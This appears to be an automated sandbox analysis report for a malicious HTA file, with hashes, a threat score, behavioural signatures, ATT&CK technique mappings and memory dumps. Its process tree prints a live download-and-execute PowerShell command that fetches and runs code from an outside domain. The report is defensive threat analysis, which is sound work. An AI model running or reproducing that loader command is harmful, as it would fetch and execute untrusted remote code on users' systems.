Resubmissions

01-06-2024 21:09

240601-zzxvbafa7v 7

Analysis

  • max time kernel
    137s
  • max time network
    112s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01-06-2024 21:09

General

  • Target

    02-downloaded-HTA-file/ok.hta

  • Size

    2KB

  • MD5

    a77becccca5571c00ebc9e516fd96ce8

  • SHA1

    d8fb7d7985860e813d33927aa95f7ac54ff400b6

  • SHA256

    5c204217d48f2565990dfdf2269c26113bd14c204484d8f466fb873312da80cf

  • SHA512

    03d14473a27a83d56d80a489413fc3e1f543a4478f5e77ec120142cd1f4ebbe76d7d1c2d0edcdb214ec3c28cfb2bd7ce157d80abf4c727cbda729bfde8627149

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\02-downloaded-HTA-file\ok.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1284
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'flexiblemaria.com/umkglnks')
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4152

Network

MITRE ATT&CK Matrix ATT&CK v13

Execution

Command and Scripting Interpreter

1
T1059

PowerShell

1
T1059.001

Discovery

Query Registry

1
T1012

System Information Discovery

2
T1082

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sbfwksnv.kmz.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/4152-6-0x0000000005780000-0x00000000057E6000-memory.dmp
    Filesize

    408KB

  • memory/4152-1-0x0000000000F30000-0x0000000000F66000-memory.dmp
    Filesize

    216KB

  • memory/4152-3-0x00000000050B0000-0x00000000056D8000-memory.dmp
    Filesize

    6.2MB

  • memory/4152-4-0x0000000074D80000-0x0000000075530000-memory.dmp
    Filesize

    7.7MB

  • memory/4152-5-0x00000000056E0000-0x0000000005702000-memory.dmp
    Filesize

    136KB

  • memory/4152-0-0x0000000074D8E000-0x0000000074D8F000-memory.dmp
    Filesize

    4KB

  • memory/4152-7-0x00000000057F0000-0x0000000005856000-memory.dmp
    Filesize

    408KB

  • memory/4152-2-0x0000000074D80000-0x0000000075530000-memory.dmp
    Filesize

    7.7MB

  • memory/4152-17-0x0000000005960000-0x0000000005CB4000-memory.dmp
    Filesize

    3.3MB

  • memory/4152-18-0x0000000005E20000-0x0000000005E3E000-memory.dmp
    Filesize

    120KB

  • memory/4152-19-0x0000000005EE0000-0x0000000005F2C000-memory.dmp
    Filesize

    304KB

  • memory/4152-20-0x0000000007420000-0x0000000007A9A000-memory.dmp
    Filesize

    6.5MB

  • memory/4152-21-0x0000000006340000-0x000000000635A000-memory.dmp
    Filesize

    104KB

  • memory/4152-24-0x0000000074D80000-0x0000000075530000-memory.dmp
    Filesize

    7.7MB